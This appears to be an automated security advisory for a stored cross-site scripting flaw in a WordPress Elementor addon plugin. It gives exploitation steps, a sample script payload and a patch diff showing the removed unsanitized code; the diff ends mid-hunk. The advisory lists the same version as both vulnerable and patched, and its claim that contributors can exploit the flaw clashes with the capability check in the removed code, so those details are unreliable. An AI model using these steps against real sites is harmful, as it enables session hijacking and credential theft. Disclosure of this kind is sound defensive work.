Published : May 16, 2026

CVE-2026-27421: Royal Addons for Elementor – Addons and Templates Kit for Elementor < 1.7.1053 – Authenticated (Contributor+) Stored Cross-Site Scripting (royal-elementor-addons)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.7.1053
Patched Version 1.7.1053
Disclosed May 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27421:
This is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Addons for Elementor plugin for WordPress. The flaw exists in versions up to 1.7.1053. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. These scripts execute whenever a user visits an injected page.

Root Cause:
The vulnerability arises from insufficient input sanitization and output escaping. The affected code paths lack proper validation of user-supplied data before storing it in the database or rendering it. Specifically, the issue resides in the AJAX handler `wpr_save_mega_menu_settings` located in `/royal-elementor-addons/admin/mega-menu.php`. In the vulnerable version, the function directly calls `update_post_meta( $_POST[‘item_id’], ‘wpr-mega-menu-settings’, $_POST[‘item_settings’] )` without sanitizing the `item_settings` array. An attacker can submit malicious JavaScript payloads via the `item_settings` parameter. The plugin then stores these unsanitized values in post meta. When the settings are later displayed (e.g., in the admin panel or frontend via widgets), the script executes.

Exploitation:
An attacker with a contributor-level account sends a POST request to `/wp-admin/admin-ajax.php`. The request includes the `action` parameter set to `wpr_save_mega_menu_settings`, a valid `nonce` for the `wpr-mega-menu-js` action, an `item_id` of an existing menu item, and an `item_settings` array. The `item_settings` array contains a payload such as `’wpr_mm_badge_text’ => ‘alert(“XSS”)’`. The plugin’s `wpr_save_mega_menu_settings` function processes this request without sanitizing the input, storing the malicious script in the database. The script later executes in the browser of any user viewing the affected menu configuration or output.

Patch Analysis:
The patch introduces a whitelist-based sanitization approach. A new function `wpr_mega_menu_allowed_settings_keys` defines an array of allowed setting keys. The `wpr_sanitize_mega_menu_setting` function then sanitizes each value based on its key. For most string-based keys (e.g., `wpr_mm_badge_text`), it uses `sanitize_text_field`. For color-related keys, it also uses `sanitize_text_field`. For numeric keys like `wpr_mm_icon_size`, it uses `absint`. The `wpr_save_mega_menu_settings` function now iterates only over the allowed keys, applies the corresponding sanitization function, and stores only the sanitized values. This prevents arbitrary script injection from being persisted.

Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session hijacking, credential theft, redirection to malicious sites, or defacement. The vulnerability requires an authenticated user with contributor-level privileges, but contributors are common in multi-author WordPress sites, making this a significant threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/royal-elementor-addons/admin/mega-menu.php
+++ b/royal-elementor-addons/admin/mega-menu.php
@@ -61,15 +61,23 @@
 // Create Menu Template
 function wpr_create_mega_menu_template() {

-    $nonce = $_POST['nonce'];
+    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-mega-menu-js' ) || ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( [ 'message' => 'Invalid request.' ] );
+        return;
+    }
+
+    if ( ! isset( $_POST['item_id'] ) ) {
+        wp_send_json_error( [ 'message' => 'Missing item_id.' ] );
+        return;
+    }

-    if ( !wp_verify_nonce( $nonce, 'wpr-mega-menu-js' )  || !current_user_can( 'manage_options' ) ) {
-      return; // Get out of here, the nonce is rotten!
+    $menu_item_id = absint( $_POST['item_id'] );
+    $menu_item = get_post( $menu_item_id );
+    if ( ! $menu_item || $menu_item->post_type !== 'nav_menu_item' ) {
+        wp_send_json_error( [ 'message' => 'Invalid menu item.' ] );
+        return;
     }

-    // $menu_id = intval( $_REQUEST['menu'] );
-    // $menu_item_id = intval( $_REQUEST['item'] );
-    $menu_item_id = intval( $_POST['item_id'] );
     $mega_menu_id = get_post_meta( $menu_item_id, 'wpr-mega-menu-item', true );

     if ( ! $mega_menu_id ) {
@@ -112,7 +120,7 @@
     <div class="wpr-mm-settings-popup-wrap">
         <div class="wpr-mm-settings-popup">
             <div class="wpr-mm-settings-popup-header">
-                <span class="wpr-mm-popup-logo" style="background:url('<?php echo WPR_ADDONS_ASSETS_URL .'img/logo-40x40.png'; ?>') no-repeat center center / contain;">RE</span>
+                <span class="wpr-mm-popup-logo" style="background:url('<?php echo esc_url( WPR_ADDONS_ASSETS_URL . 'img/logo-40x40.png' ); ?>') no-repeat center center / contain;">RE</span>
                 <span><?php esc_html_e('Royal Mega Menu', 'wpr-addons'); ?></span>
                 <span class="wpr-mm-popup-title"><?php esc_html_e('Menu Item: ', 'wpr-addons'); ?><span></span></span>
                 <span class="dashicons dashicons-no-alt wpr-mm-settings-close-popup-btn"></span>
@@ -252,20 +260,81 @@
     <?php
 }

+/**
+ * Allowed mega menu setting keys (whitelist for sanitization).
+ *
+ * @return array
+ */
+function wpr_mega_menu_allowed_settings_keys() {
+    return [
+        'wpr_mm_enable',
+        'wpr_mm_position',
+        'wpr_mm_width',
+        'wpr_mm_custom_width',
+        'wpr_mm_mobile_content',
+        'wpr_mm_render',
+        'wpr_mm_icon_picker',
+        'wpr_mm_icon_color',
+        'wpr_mm_icon_size',
+        'wpr_mm_badge_text',
+        'wpr_mm_badge_color',
+        'wpr_mm_badge_bg_color',
+        'wpr_mm_badge_animation',
+    ];
+}
+
+/**
+ * Sanitize a single mega menu setting value.
+ *
+ * @param mixed $value Raw value.
+ * @param string $key Setting key.
+ * @return mixed Sanitized value.
+ */
+function wpr_sanitize_mega_menu_setting( $value, $key ) {
+    if ( ! is_scalar( $value ) ) {
+        return '';
+    }
+    $value = (string) $value;
+    if ( in_array( $key, [ 'wpr_mm_icon_color', 'wpr_mm_badge_color', 'wpr_mm_badge_bg_color' ], true ) ) {
+        return sanitize_text_field( $value );
+    }
+    if ( $key === 'wpr_mm_icon_size' || $key === 'wpr_mm_custom_width' ) {
+        return absint( $value );
+    }
+    return sanitize_text_field( $value );
+}
+
 // Save Mega Menu Settings
 function wpr_save_mega_menu_settings() {

-    $nonce = $_POST['nonce'];
+    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-mega-menu-js' ) || ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( [ 'message' => 'Invalid request.' ] );
+        return;
+    }

-    if ( !wp_verify_nonce( $nonce, 'wpr-mega-menu-js' )  || !current_user_can( 'manage_options' ) ) {
-      exit; // Get out of here, the nonce is rotten!
+    if ( ! isset( $_POST['item_id'] ) || ! isset( $_POST['item_settings'] ) || ! is_array( $_POST['item_settings'] ) ) {
+        wp_send_json_error( [ 'message' => 'Missing item_id or item_settings.' ] );
+        return;
+    }
+
+    $item_id = absint( $_POST['item_id'] );
+    $item_post = get_post( $item_id );
+    if ( ! $item_post || $item_post->post_type !== 'nav_menu_item' ) {
+        wp_send_json_error( [ 'message' => 'Invalid menu item.' ] );
+        return;
     }

-    if ( isset($_POST['item_settings']) ) {
-        update_post_meta( $_POST['item_id'], 'wpr-mega-menu-settings', $_POST['item_settings'] );
+    $allowed_keys = wpr_mega_menu_allowed_settings_keys();
+    $raw         = wp_unslash( $_POST['item_settings'] );
+    $sanitized   = [];
+    foreach ( $allowed_keys as $key ) {
+        if ( array_key_exists( $key, $raw ) ) {
+            $sanitized[ $key ] = wpr_sanitize_mega_menu_setting( $raw[ $key ], $key );
+        }
     }

-    wp_send_json_success($_POST['item_settings']);
+    update_post_meta( $item_id, 'wpr-mega-menu-settings', $sanitized );
+    wp_send_json_success( $sanitized );
 }

 // Get Menu Items Data
--- a/royal-elementor-addons/admin/plugin-options.php
+++ b/royal-elementor-addons/admin/plugin-options.php
@@ -119,6 +119,7 @@
     register_setting('wpr-extension-settings', 'wpr-parallax-background');
     register_setting('wpr-extension-settings', 'wpr-parallax-multi-layer');
     register_setting('wpr-extension-settings', 'wpr-custom-css');
+    register_setting('wpr-extension-settings', 'wpr-display-conditions');
     register_setting('wpr-extension-settings', 'wpr-sticky-section');

     // Element Toggle
@@ -837,7 +838,7 @@
                 <h4>
                     <span><?php esc_html_e( 'reCAPTCHA v2 (Checkbox) Site Key', 'wpr-addons' ); ?></span>
                     <br>
-                    <a href="https://www.google.com/recaptcha/admin" target="_blank"><?php esc_html_e( 'How to get reCAPTCHA keys?', 'wpr-addons' ); ?></a>
+                    <a href="https://www.google.com/recaptcha/intro/v3.html" target="_blank"><?php esc_html_e( 'How to get reCAPTCHA keys?', 'wpr-addons' ); ?></a>
                     <p class="wpr-settings-group-description"><?php esc_html_e( 'Use reCAPTCHA v2 checkbox in Form Builder. Create a "reCAPTCHA v2" type key in Google reCAPTCHA admin.', 'wpr-addons' ); ?></p>
                 </h4>

@@ -1578,9 +1579,9 @@
         // array of option names
         $option_names = $new_allowed_options[ 'wpr-extension-settings' ];

-        echo '<div class="wpr-elements">';
+        echo '<div class="wpr-elements wpr-elements-extensions">';

-        foreach ($option_names as $option_name) {
+        foreach ($option_names as $option_name) {
             $option_title = ucwords( preg_replace( '/-/i', ' ', preg_replace('/wpr-||-toggle/i', '', $option_name ) ));

             echo '<div class="wpr-element">';
@@ -1627,6 +1628,8 @@
                         }
                     } elseif ( 'wpr-custom-css' === $option_name ) {
                         echo '<br><span>Tip: Edit any Section > Navigate to Advanced tab</span>';
+                    } elseif ( 'wpr-display-conditions' === $option_name ) {
+                        echo '<br><span>Tip: Edit any Element > Navigate to Visibility tab</span>';
                     }

                     // echo '<a href="https://royal-elementor-addons.com/elementor-particle-effects/?ref=rea-plugin-backend-extentions-prev">'. esc_html('View Extension Demo', 'wpr-addons') .'</a>';
--- a/royal-elementor-addons/admin/templates-kit.php
+++ b/royal-elementor-addons/admin/templates-kit.php
@@ -392,7 +392,8 @@
      */
     function wpr_sanitize_svg($svg_content) {
         $dom = new DOMDocument();
-        $dom->loadXML($svg_content, LIBXML_NOENT | LIBXML_DTDLOAD);
+        // Use LIBXML_NONET to prevent XXE via external entity resolution; avoid LIBXML_NOENT and LIBXML_DTDLOAD.
+        $dom->loadXML($svg_content, LIBXML_NONET);

         // Remove scripts
         $scripts = $dom->getElementsByTagName('script');
@@ -478,24 +479,18 @@

     $tmp_file = download_url( $remote_file_url );

-    // WP Error.
+    // WP Error - do not use fallback URLs to prevent content injection from untrusted domains.
     if ( is_wp_error( $tmp_file ) ) {
-        // Fallback URL
-        $remote_file_url = 'https://mysitetutorial.com/library/templates-kit/'. $kit .'/main.xml?='. $randomNum;
-        $tmp_file = download_url( $remote_file_url );
-
-        if ( is_wp_error( $tmp_file ) ) {
-            // Track Import Failed Kit
-            wpr_track_import_failed_kit( $kit );
-
-            wp_send_json_error([
-                'error' => esc_html__('Error: Import File download failed.', 'wpr-addons'),
-                'help' => esc_html__('Please contact Customer Support and send this Error.', 'wpr-addons'),
-                'problem' => 'download'
-            ]);
-
-            return false;
-        }
+        // Track Import Failed Kit
+        wpr_track_import_failed_kit( $kit );
+
+        wp_send_json_error([
+            'error' => esc_html__('Error: Import File download failed.', 'wpr-addons'),
+            'help' => esc_html__('Please contact Customer Support and send this Error.', 'wpr-addons'),
+            'problem' => 'download'
+        ]);
+
+        return false;
     }

     // Array based on $_FILE as seen in PHP file uploads.
@@ -537,6 +532,16 @@
 ** Validate Template
 */
 function vts( $kit ) {
+    // Reject empty or invalid kit to prevent download from untrusted sources.
+    if ( ! is_string( $kit ) || '' === trim( $kit ) ) {
+        wp_send_json_error([
+            'error' => esc_html__('Error: Invalid template kit.', 'wpr-addons'),
+            'help' => esc_html__('Please select a valid template kit.', 'wpr-addons'),
+            'problem' => 'download'
+        ]);
+        return false;
+    }
+
     // Avoid Cache
     $randomNum = substr(str_shuffle("0123456789abcdefghijklmnopqrstvwxyzABCDEFGHIJKLMNOPQRSTVWXYZ"), 0, 7);

--- a/royal-elementor-addons/admin/templates/library/wpr-templates-data.php
+++ b/royal-elementor-addons/admin/templates/library/wpr-templates-data.php
@@ -1897,6 +1897,20 @@
 					'priority' => 1,
 				],
 			],
+			'ai-automation' => [
+				'v1' => [
+					'name' => 'AI Automation V1',
+					'pages' => 'home,about,blog,single-blog,contact,',
+					'plugins' => '{}',
+					'tags' => 'free ai automation digital solutions enterprise engineering business cyber cybersecurity workflow infrastructure intelligence chatbot data marketing analytics data analysis machine learning ai image automation algorithm autonomous processing artificial intelligence science generative quantum neuromorphic technology servers web it tech crypto cyber ittech advanced technology it technique computer windows technician digital calculations computing digital chat gpt chatgpt bard gemini application artificial intelligence machine learning neural networks data science generative AI llms text generation image generation AI content creation prompt engineering ai website ai templates ai saas ai agency ',
+					'theme-builder' => true,
+					'woo-builder' => false,
+					'off-canvas' => true,
+					'price' => $is_pro_active ? 'free' : 'free',
+					'label' => 'new',
+					'priority' => 1,
+				],
+			],
 			'aimatrix' => [
 				'v1' => [
 					'name' => 'AI Matrix - Data, Machines & AI ',
@@ -2650,6 +2664,12 @@
 				'preview' => ['home','features','integration','pricing','blog','contact'],
 				'price' => $is_pro_active ? 'free' : 'free',
 			],
+			'ai-automation-v1' => [
+				'name' => 'AI Automation V1',
+				'pages' => ['home','about','blog','contact'],
+				'preview' => ['home','about','blog','contact'],
+				'price' => $is_pro_active ? 'free' : 'free',
+			],
 			'cryptocurrency-v1' => [
 				'name' => 'Cryptocurrency',
 				'pages' => ['home','about','services','token','pricing','contact'],
--- a/royal-elementor-addons/classes/modules/forms/wpr-actions-status.php
+++ b/royal-elementor-addons/classes/modules/forms/wpr-actions-status.php
@@ -62,6 +62,10 @@
             'message' => $message
         ];

+        if (get_post_type($post_id) !== 'wpr_submissions') {
+            wp_send_json_error('Invalid post');
+        }
+
         $actions_whitelist = [
             'wpr_form_builder_email',
             'wpr_form_builder_submissions',
--- a/royal-elementor-addons/classes/modules/wpr-grid-helpers.php
+++ b/royal-elementor-addons/classes/modules/wpr-grid-helpers.php
@@ -908,7 +908,8 @@
 					if ( 'word_count' === $settings['element_trim_text_by'] ) {
 						echo esc_html(wp_trim_words( get_the_title(), $settings['element_word_count'] ));
 					} else {
-						echo substr(html_entity_decode(get_the_title()), 0, $settings['element_letter_count']) .'...';
+						$letter_count = isset( $settings['element_letter_count'] ) ? absint( $settings['element_letter_count'] ) : 0;
+						echo esc_html( substr( html_entity_decode( get_the_title(), ENT_QUOTES, 'UTF-8' ), 0, $letter_count ) ) . '...';
 					}
 				echo '</a>';
 			echo '</div>';
@@ -1526,6 +1527,13 @@

 				// Taxonomies
 				foreach ( $terms as $term ) {
+					if ( ! $term || ! isset( $term->term_id, $term->name ) ) {
+						continue;
+					}
+					$term_link = get_term_link( $term->term_id );
+					if ( is_wp_error( $term_link ) ) {
+						continue;
+					}

 					// Custom Colors
 					$enable_custom_colors = ! wpr_fs()->can_use_premium_code() ? '' : $general_settings['tax1_custom_color_switcher'];
@@ -1541,7 +1549,7 @@
 						echo '<style>'. esc_html($custom_tax_styles) .'</style>'; // TODO: take out of loop if possible
 					}

-					echo '<a class="'. $pointer_item_class .' wpr-tax-id-'. esc_attr($term->term_id) .'" href="'. esc_url(get_term_link( $term->term_id )) .'">'. esc_html( $term->name );
+					echo '<a class="'. $pointer_item_class .' wpr-tax-id-'. esc_attr($term->term_id) .'" href="'. esc_url( $term_link ) .'">'. esc_html( $term->name );
 						if ( ++$count !== count( $terms ) ) {
 							echo '<span class="tax-sep">'. esc_html($settings['element_tax_sep']) .'</span>';
 						}
--- a/royal-elementor-addons/classes/modules/wpr-load-more-tweets.php
+++ b/royal-elementor-addons/classes/modules/wpr-load-more-tweets.php
@@ -357,9 +357,24 @@

     public function wpr_load_more_tweets_function() {

-        $settings = $_POST['wpr_load_more_settings'];
+        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-addons-js' ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Security check failed.', 'wpr-addons' ) ) );
+        }

-				$credentials = base64_encode($settings['twitter_feed_consumer_key'] . ':' . $settings['twitter_feed_consumer_secret']);
+        if ( empty( $_POST['wpr_load_more_settings'] ) || ! is_array( $_POST['wpr_load_more_settings'] ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Invalid request.', 'wpr-addons' ) ) );
+        }
+
+        $settings = wp_unslash( $_POST['wpr_load_more_settings'] );
+
+        // Consumer key/secret must never be sent from frontend; use server-stored options or skip this flow.
+        $consumer_key    = isset( $settings['twitter_feed_consumer_key'] ) ? $settings['twitter_feed_consumer_key'] : '';
+        $consumer_secret = isset( $settings['twitter_feed_consumer_secret'] ) ? $settings['twitter_feed_consumer_secret'] : '';
+        if ( '' === $consumer_key || '' === $consumer_secret ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Twitter API credentials are not configured for load more.', 'wpr-addons' ) ) );
+        }
+
+				$credentials = base64_encode( $consumer_key . ':' . $consumer_secret );

 				add_filter('https_ssl_verify', '__return_false');

--- a/royal-elementor-addons/classes/modules/wpr-woo-grid-helpers.php
+++ b/royal-elementor-addons/classes/modules/wpr-woo-grid-helpers.php
@@ -927,7 +927,8 @@
 				if ( 'word_count' === $settings['element_trim_text_by'] ) {
 					echo esc_html(wp_trim_words( get_the_title(), $settings['element_word_count'] ));
 				} else {
-					echo substr(html_entity_decode(get_the_title()), 0, $settings['element_letter_count']) .'...';
+					$letter_count = isset( $settings['element_letter_count'] ) ? absint( $settings['element_letter_count'] ) : 0;
+					echo esc_html( substr( html_entity_decode( get_the_title(), ENT_QUOTES, 'UTF-8' ), 0, $letter_count ) ) . '...';
 				}
 				echo '</a>';
 			echo '</div>';
@@ -986,7 +987,14 @@

 				// Taxonomies
 				foreach ( $terms as $term ) {
-					echo '<a '. $pointer_item_class .' href="'. esc_url(get_term_link( $term->term_id )) .'">'. esc_html( $term->name );
+					if ( ! $term || ! isset( $term->term_id, $term->name ) ) {
+						continue;
+					}
+					$term_link = get_term_link( $term->term_id );
+					if ( is_wp_error( $term_link ) ) {
+						continue;
+					}
+					echo '<a '. $pointer_item_class .' href="'. esc_url( $term_link ) .'">'. esc_html( $term->name );
 						if ( ++$count !== count( $terms ) ) {
 							echo '<span class="tax-sep">'. esc_html($settings['element_tax_sep']) .'</span>';
 						}
@@ -1043,7 +1051,14 @@

 				// Taxonomies
 				foreach ( $terms as $term ) {
-					echo '<a '. $pointer_item_class .' href="'. esc_url(get_term_link( $term->term_id )) .'">'. esc_html( $term->name );
+					if ( ! $term || ! isset( $term->term_id, $term->name ) ) {
+						continue;
+					}
+					$term_link = get_term_link( $term->term_id );
+					if ( is_wp_error( $term_link ) ) {
+						continue;
+					}
+					echo '<a '. $pointer_item_class .' href="'. esc_url( $term_link ) .'">'. esc_html( $term->name );
 						if ( ++$count !== count( $terms ) ) {
 							echo '<span class="tax-sep">'. esc_html($settings['element_tax_sep']) .'</span>';
 						}
@@ -2313,9 +2328,15 @@
 	}

 	public function wpr_woo_grid_filters_ajax() {
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-addons-js' ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'Security check failed.', 'wpr-addons' ) ) );
+		}
+		if ( ! isset( $_POST['grid_settings'] ) || ! is_array( $_POST['grid_settings'] ) ) {
+			wp_send_json_error( array( 'message' => esc_html__( 'Invalid request.', 'wpr-addons' ) ) );
+		}
 		$start = microtime(true);
 		// Get Settings
-		$settings = $_POST['grid_settings'];
+		$settings = wp_unslash( $_POST['grid_settings'] );

 		ob_start();

--- a/royal-elementor-addons/classes/utilities.php
+++ b/royal-elementor-addons/classes/utilities.php
@@ -73,6 +73,9 @@
 			'Image Scroll' => ['image-scroll', 'https://royal-elementor-addons.com/elementor-image-scroll-widget/', '', ''],
 			'Date' => ['date', 'https://royal-elementor-addons.com/elementor-date-widget/', '', ''],
 			// 'Video Playlist' => ['video-playlist', 'https://royal-elementor-addons.com/elementor-video-playlist-widget/', '', ''],
+			'Password Protected Content' => ['password-protected-content', '', '', 'new'],
+			'Circle Menu' => ['circle-menu', '', '', 'new'],
+			'Unfold' => ['unfold', '', '', 'new'],
 		];
 	}

@@ -526,6 +529,35 @@


 	/**
+	** Enqueue a nested/inner Elementor template's widget assets and CSS.
+	** Ensures icon fonts and widget-specific styles are loaded when a
+	** template is rendered inside another widget (Offcanvas, Tabs, etc.).
+	*/
+	public static function enqueue_inner_template_assets( $template_id ) {
+		if ( empty( $template_id ) || ! class_exists( 'ElementorPlugin' ) ) {
+			return;
+		}
+
+		$elementor = ElementorPlugin::instance();
+
+		// Enable widget-level asset dependencies (icon fonts, widget CSS files)
+		// stored in the template's post meta by Elementor's asset system.
+		if ( class_exists( 'ElementorCoreBaseElements_Iteration_ActionsAssets' ) ) {
+			$page_assets = get_post_meta( $template_id, ElementorCoreBaseElements_Iteration_ActionsAssets::ASSETS_META_KEY, true );
+			if ( ! empty( $page_assets ) && isset( $elementor->assets_loader ) ) {
+				$elementor->assets_loader->enable_assets( $page_assets );
+			}
+		}
+
+		// Enqueue the template's own Post CSS file.
+		if ( class_exists( 'ElementorCoreFilesCSSPost' ) ) {
+			$css_file = new ElementorCoreFilesCSSPost( $template_id );
+			$css_file->enqueue();
+		}
+	}
+
+
+	/**
 	** Theme Builder Template Check
 	*/
 	public static function is_theme_builder_template() {
@@ -949,6 +981,95 @@
 	}

 	/**
+	** Password Protected Content - Verify Password
+	*/
+	public static function ajax_ppc_verify_password() {
+		check_ajax_referer( 'wpr_ppc_verify', 'nonce' );
+
+		$widget_id = isset( $_POST['widget_id'] ) ? sanitize_text_field( wp_unslash( $_POST['widget_id'] ) ) : '';
+		$password = isset( $_POST['password'] ) ? sanitize_text_field( wp_unslash( $_POST['password'] ) ) : '';
+		$post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
+
+		if ( empty( $widget_id ) || empty( $password ) || empty( $post_id ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid request.', 'wpr-addons' ) ] );
+		}
+
+		// Get Elementor data for the post
+		$elementor_data = get_post_meta( $post_id, '_elementor_data', true );
+		if ( empty( $elementor_data ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid request.', 'wpr-addons' ) ] );
+		}
+
+		$elements = json_decode( $elementor_data, true );
+		if ( ! is_array( $elements ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid request.', 'wpr-addons' ) ] );
+		}
+
+		// Find widget in Elementor elements tree
+		$widget_data = self::find_widget_in_elements( $elements, $widget_id );
+		if ( ! $widget_data || empty( $widget_data['settings']['set_password'] ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Invalid request.', 'wpr-addons' ) ] );
+		}
+
+		$stored_password = $widget_data['settings']['set_password'];
+
+		if ( $password !== $stored_password ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Incorrect password. Please try again.', 'wpr-addons' ) ] );
+		}
+
+		// Set cookie
+		$cookie_name = 'wpr_ppc_' . md5( $stored_password . $widget_id );
+		$secure = is_ssl();
+		setcookie( $cookie_name, md5( $stored_password ), time() + DAY_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN, $secure, true );
+
+		// Render protected content
+		$settings = $widget_data['settings'];
+		$content_html = '';
+
+		if ( isset( $settings['content_type'] ) && 'template' === $settings['content_type'] && ! empty( $settings['protected_template'] ) ) {
+			$template_id = $settings['protected_template'];
+
+			if ( defined( 'ICL_LANGUAGE_CODE' ) ) {
+				$default_language_code = apply_filters( 'wpml_default_language', null );
+				if ( ICL_LANGUAGE_CODE !== $default_language_code ) {
+					$template_id = icl_object_id( $template_id, 'elementor_library', false, ICL_LANGUAGE_CODE );
+				}
+			}
+
+			$type = get_post_meta( $post_id, '_wpr_template_type', true ) || get_post_meta( $template_id, '_elementor_template_type', true );
+			$has_css = 'internal' === get_option( 'elementor_css_print_method' ) || '' !== $type;
+			$content_html = ElementorPlugin::instance()->frontend->get_builder_content_for_display( $template_id, $has_css );
+		} else {
+			$content_html = isset( $settings['protected_content'] ) ? $settings['protected_content'] : '';
+		}
+
+		wp_send_json_success( [
+			'message' => esc_html__( 'Password verified.', 'wpr-addons' ),
+			'content' => $content_html,
+		] );
+	}
+
+	/**
+	** Password Protected Content - Find Widget in Elements Tree
+	*/
+	public static function find_widget_in_elements( $elements, $widget_id ) {
+		foreach ( $elements as $element ) {
+			if ( isset( $element['id'] ) && $element['id'] === $widget_id ) {
+				return $element;
+			}
+
+			if ( ! empty( $element['elements'] ) ) {
+				$found = self::find_widget_in_elements( $element['elements'], $widget_id );
+				if ( $found ) {
+					return $found;
+				}
+			}
+		}
+
+		return false;
+	}
+
+	/**
 	** Mailchimp - Get Lists
 	*/
 	public static function get_mailchimp_lists() {
--- a/royal-elementor-addons/classes/woocommerce/wpr-count-wishlist-compare-items.php
+++ b/royal-elementor-addons/classes/woocommerce/wpr-count-wishlist-compare-items.php
@@ -25,23 +25,30 @@
 	// Add two new functions for handling cookies
 	public function get_wishlist_from_cookie() {
         if (isset($_COOKIE['wpr_wishlist'])) {
-            return json_decode(stripslashes($_COOKIE['wpr_wishlist']), true);
+            $raw = json_decode(stripslashes($_COOKIE['wpr_wishlist']), true);
+            return is_array($raw) ? array_filter(array_map('absint', $raw)) : array();
         } else if ( isset($_COOKIE['wpr_wishlist_'. get_current_blog_id() .'']) ) {
-            return json_decode(stripslashes($_COOKIE['wpr_wishlist_'. get_current_blog_id() .'']), true);
+            $raw = json_decode(stripslashes($_COOKIE['wpr_wishlist_'. get_current_blog_id() .'']), true);
+            return is_array($raw) ? array_filter(array_map('absint', $raw)) : array();
         }
         return array();
 	}

     function get_compare_from_cookie() {
         if (isset($_COOKIE['wpr_compare'])) {
-            return json_decode(stripslashes($_COOKIE['wpr_compare']), true);
+            $raw = json_decode(stripslashes($_COOKIE['wpr_compare']), true);
+            return is_array($raw) ? array_filter(array_map('absint', $raw)) : array();
         } else if ( isset($_COOKIE['wpr_compare_'. get_current_blog_id() .'']) ) {
-            return json_decode(stripslashes($_COOKIE['wpr_compare_'. get_current_blog_id() .'']), true);
+            $raw = json_decode(stripslashes($_COOKIE['wpr_compare_'. get_current_blog_id() .'']), true);
+            return is_array($raw) ? array_filter(array_map('absint', $raw)) : array();
         }
         return array();
     }

     function count_wishlist_items() {
+        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-addons-js' ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Security check failed.', 'wpr-addons' ) ) );
+        }
         $user_id = get_current_user_id();

         if ($user_id > 0) {
@@ -59,9 +66,9 @@
        $wishlist_product_array = [];

         $settings = [
-            'element_addcart_simple_txt' => isset($_POST['element_addcart_simple_txt']) ? $_POST['element_addcart_simple_txt'] : '',
-            'element_addcart_grouped_txt' => isset($_POST['element_addcart_grouped_txt']) ? $_POST['element_addcart_grouped_txt'] : '',
-            'element_addcart_variable_txt' => isset($_POST['element_addcart_variable_txt']) ? $_POST['element_addcart_grouped_txt'] : ''
+            'element_addcart_simple_txt' => isset($_POST['element_addcart_simple_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_simple_txt'] ) ) : '',
+            'element_addcart_grouped_txt' => isset($_POST['element_addcart_grouped_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_grouped_txt'] ) ) : '',
+            'element_addcart_variable_txt' => isset($_POST['element_addcart_variable_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_variable_txt'] ) ) : ( isset($_POST['element_addcart_grouped_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_grouped_txt'] ) ) : '' )
         ];

         foreach ($wishlist as $product_id) {
@@ -88,6 +95,9 @@
     }

     public function count_compare_items() {
+        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wpr-addons-js' ) ) {
+            wp_send_json_error( array( 'message' => esc_html__( 'Security check failed.', 'wpr-addons' ) ) );
+        }
         $user_id = get_current_user_id();

         if ($user_id > 0) {
@@ -128,11 +138,11 @@
 		$table_hidden = '';

         $settings = [
-            'compare_empty_text' => isset($_POST['compare_empty_text']) ? $_POST['compare_empty_text'] : '',
-            'remove_from_compare_text' => isset($_POST['remove_text']) ? sanitize_text_field($_POST['remove_text']) : '',
-            'element_addcart_simple_txt' => isset($_POST['element_addcart_simple_txt']) ? $_POST['element_addcart_simple_txt'] : '',
-            'element_addcart_grouped_txt' => isset($_POST['element_addcart_grouped_txt']) ? $_POST['element_addcart_grouped_txt'] : '',
-            'element_addcart_variable_txt' => isset($_POST['element_addcart_variable_txt']) ? $_POST['element_addcart_grouped_txt'] : ''
+            'compare_empty_text' => isset($_POST['compare_empty_text']) ? wp_kses_post( wp_unslash( $_POST['compare_empty_text'] ) ) : '',
+            'remove_from_compare_text' => isset($_POST['remove_text']) ? sanitize_text_field( wp_unslash( $_POST['remove_text'] ) ) : '',
+            'element_addcart_simple_txt' => isset($_POST['element_addcart_simple_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_simple_txt'] ) ) : '',
+            'element_addcart_grouped_txt' => isset($_POST['element_addcart_grouped_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_grouped_txt'] ) ) : '',
+            'element_addcart_variable_txt' => isset($_POST['element_addcart_variable_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_variable_txt'] ) ) : ( isset($_POST['element_addcart_grouped_txt']) ? wp_kses_post( wp_unslash( $_POST['element_addcart_grouped_txt'] ) ) : '' )
         ];

 		if ($user_id > 0) {
@@ -153,7 +163,7 @@

         ob_start();

-		echo '<p class="wpr-compare-empty '. $notification_hidden .'">'. $settings['compare_empty_text'] .'</p>';
